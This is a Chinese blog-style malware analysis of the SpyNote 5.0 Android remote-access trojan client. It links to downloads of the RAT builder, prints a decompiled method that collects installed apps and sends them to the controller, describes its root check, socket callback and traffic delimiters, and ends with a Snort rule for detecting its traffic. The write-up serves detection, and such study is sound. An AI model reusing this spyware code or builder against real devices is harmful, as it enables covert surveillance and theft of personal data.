怎么進行SpyNote5.0 Client_APK逆向分析

1. spynote5.0 是什么?

SpyNote是用來創建android惡意程序的工具。它的功能十分引人矚目,包括但不限于讀取聯系人、錄音、執行命令、管理應用程序、記錄鍵盤、進行GPS定位等。這些功能在研究安卓惡意軟件時起到了關鍵的作用。咱們能夠通過一系列文章對于它的使用初步了解,《SpyNote V5.0圖形化工具遠程管理Android手機教程》、《小心,Android木馬工具SpyNote免費啦!遠程監聽就是這么簡單》、《當心,安卓遠控(spynote)升級了……》等等。

2. 準備工具

對于SpyNote5.0 Client_APK的逆向分析卻鮮有人問津,下面我簡單介紹使用工具,然后開始進入逆向分析環節。

1、SpyNote5.0

下載地址:https://github.com/soDLL/SpyNote OR https://github.com/miladzero/SpyNote

怎么進行SpyNote5.0 Client_APK逆向分析

2、jadx-gui

下載地址: https://github.com/skylot/jadx/releases

怎么進行SpyNote5.0 Client_APK逆向分析

3、androidkiller

下載地址: https://www.guguzhu.com/soft/270509.html

怎么進行SpyNote5.0 Client_APK逆向分析

3. 開始逆向分析

咱們開始對于Client_APK進行分析,通常喜歡將客戶端生成的APK程序拖入androidkiller。一旦程序被拖入androidkiller,它將自動進行反匯編,并生成程序的分析結果。

怎么進行SpyNote5.0 Client_APK逆向分析

在左側按照繼承關系分類Activity、Receiver、Service和應用權限(Uses-Permisson),能夠看到客戶端需要的應用權限很多。右側則是smail匯編窗口和工作臺。這個工具可以清晰地顯示權限和各種繼承關系,但由于工具版本較低,代碼還原不夠完整。我更換了工具并使用jadx-gui,隨后開始進行逆向分析,將Client_APK導入。

怎么進行SpyNote5.0 Client_APK逆向分析

咱們能看到三個包,分別是android.support,con.eset.ems2.gp,yps.eton.application。其中android.support為安卓本支持包其中包括低版本、v4、v7,con.eset.ems2.gp為配置包里面包含了host、client_name等信息,yps.eton.application則是咱們需要分析的。

打開yps.eton.application,咱們能看到14個類,由于需要分析的代碼比較多,所以有針對性的對于部分關鍵代碼進行分析。

怎么進行SpyNote5.0 Client_APK逆向分析

通過之前androidkiller分析結構能夠看到,A、F、G、k 這個寫類繼承了Service,Service 在安卓系統中代表后臺持續運行。咱們不妨猜下,Client_APK中需要持續運行的可能會有什么?也許是關鍵對象會持續運行、受控、監聽、線程等等。咱們本次分析的重點是它部分功能以及如何識別流量。

3.1命令執行啟動分析

我們從A方法開始,先啟動服務,然后遍歷R對象并獲取第三個元素,如果它等于1,則執行j()函數。否則在判斷a()是否已經被實例化后啟動服務。在之后會繼續判斷j()是否具備root權限。

怎么進行SpyNote5.0 Client_APK逆向分析

繼續看j(),j()中使用執行su命令后,將Do I have root?寫入文件/system/sd/temporary.txt,對于是否為root權限進行了判斷。

怎么進行SpyNote5.0 Client_APK逆向分析

接著看h(),之中使用了多線程,獲取R對象中的存儲的配置參數,采用循環和socket回傳信息。

怎么進行SpyNote5.0 Client_APK逆向分析

3.2 Base64編碼應用部分功能分析

在查看A對象的導入列表時候發現之中包含android.util.Base64,說明在運行之中使用了base64編碼。緊接著搜索關鍵字Base64,能夠看到Base64包裹著((BitmapDrawable) applicationIcon).getBitmap(),其實內部就是應用圖標。客戶端將一些信息通過c0c1c3a2c0c1c分割以9xf89fff9xf89結尾進行傳遞,對于異常信息和選項采用fxf0x4x4x0fxf分割傳遞。

<br/>
<br/>

public void k() { ? ? ? ?new Thread(new Runnable() { ? ? ? ? ? ?public void run() { ? ? ? ? ? ? ? ?String str; ? ? ? ? ? ? ? ?try { ? ? ? ? ? ? ? ? ? ?StringBuffer stringBuffer = new StringBuffer(); ? ? ? ? ? ? ? ? ? ?PackageManager packageManager = A.this.getApplicationContext().getPackageManager(); ? ? ? ? ? ? ? ? ? ?for (ApplicationInfo applicationInfo : packageManager.getInstalledApplications(128)) { ? ? ? ? ? ? ? ? ? ? ? ?if (packageManager.getLaunchIntentForPackage(applicationInfo.packageName) != NULL && !packageManager.getLaunchIntentForPackage(applicationInfo.packageName).equals(“”)) { ? ? ? ? ? ? ? ? ? ? ? ? ? ?try { ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?date date = new Date(packageManager.getPackageInfo(applicationInfo.packageName, 4096).firstInstallTime); ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?String str2 = packageManager.getLaunchIntentForPackage(applicationInfo.packageName) != null ? (applicationInfo.flags & 1) == 1 ? “system” : “user” : “”; ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?Drawable applicationIcon = packageManager.getApplicationIcon(applicationInfo.packageName); ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?String str3 = new String(); ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?if (applicationIcon != null) { ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?Bitmap bitmap = ((BitmapDrawable) applicationIcon).getBitmap(); ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?bitmap.compress(CompressFormat.JPEG, 50, byteArrayOutputStream); ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?str = Base64.encodeToString(byteArrayOutputStream.toByteArray(), 2); ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?} else { ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?str = str3; ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?} ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?stringBuffer.append(packageManager.getApplicationLabel(applicationInfo) + “c0c1c3a2c0c1c” + applicationInfo.packageName + “c0c1c3a2c0c1c” + str + “c0c1c3a2c0c1c” + str2 + “c0c1c3a2c0c1c” + date.toString() + “c0c1c3a2c0c1c” + A.this.getPackageName() + “9xf89fff9xf89”); ? ? ? ? ? ? ? ? ? ? ? ? ? ?} catch (NameNotFoundException e) { ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?A.this.h(“applicationsfxf0x4x4x0fxf[My/Exception]” + e.getMessage().toString()); ? ? ? ? ? ? ? ? ? ? ? ? ? ?} ? ? ? ? ? ? ? ? ? ? ? ?} ? ? ? ? ? ? ? ? ? ?} ? ? ? ? ? ? ? ? ? ?A.this.h(“applicationsfxf0x4x4x0fxf” + stringBuffer.toString()); ? ? ? ? ? ? ? ?} catch (Exception e2) { ? ? ? ? ? ? ? ? ? ?A.this.h(“applicationsfxf0x4x4x0fxf[My/Exception]” + e2.getMessage().toString()); ? ? ? ? ? ? ? ?} ? ? ? ? ? ?} ? ? ? ?}).start(); ? ?}

3.3 信息獲取部分功能分析

A對象中包含了一個非常冗長的方法b,其中使用了過多的switch case語句分支,導致反匯編出現異常。觀察注釋不難看出,里面實現了大多數的獲取信息的邏輯。例如:Device info、System info、Sim info、WIFI info等等,包含了工具所宣傳的功能。

怎么進行SpyNote5.0 Client_APK逆向分析

在b方法的重寫里面有些地方值得注意,這里用于獲取存儲路徑。傳輸路徑信息的分隔符使用e1x1114x61114e。文件名信息分隔符使用-1c0c1c3a2c0c1c-1c0c1c3a2c0c1c-1c0c1c3a2c0c1c。通過這些信息能夠較為準確的判斷客戶端傳遞時的操作。

怎么進行SpyNote5.0 Client_APK逆向分析

4. 總結

在分析過程中能夠看到各個功能的實現。在客戶端使用未加密和Base編碼傳輸時,最顯著的特征是分隔符號的出現。通過程序能夠有效地判斷,Client的傳輸行為。于是對于傳輸過程進行抓包。

怎么進行SpyNote5.0 Client_APK逆向分析

圖中明顯看到分隔符號和base64編碼內容。對于這點咱們可以在Snort中編寫規則進行識別,識別示例:

alert tcp any any -> any any (content:”fxf0x4x4x0fxf”; sid:1; msg:SpyNote5.0 Client;)

? 版權聲明
THE END
喜歡就支持一下吧
點贊14 分享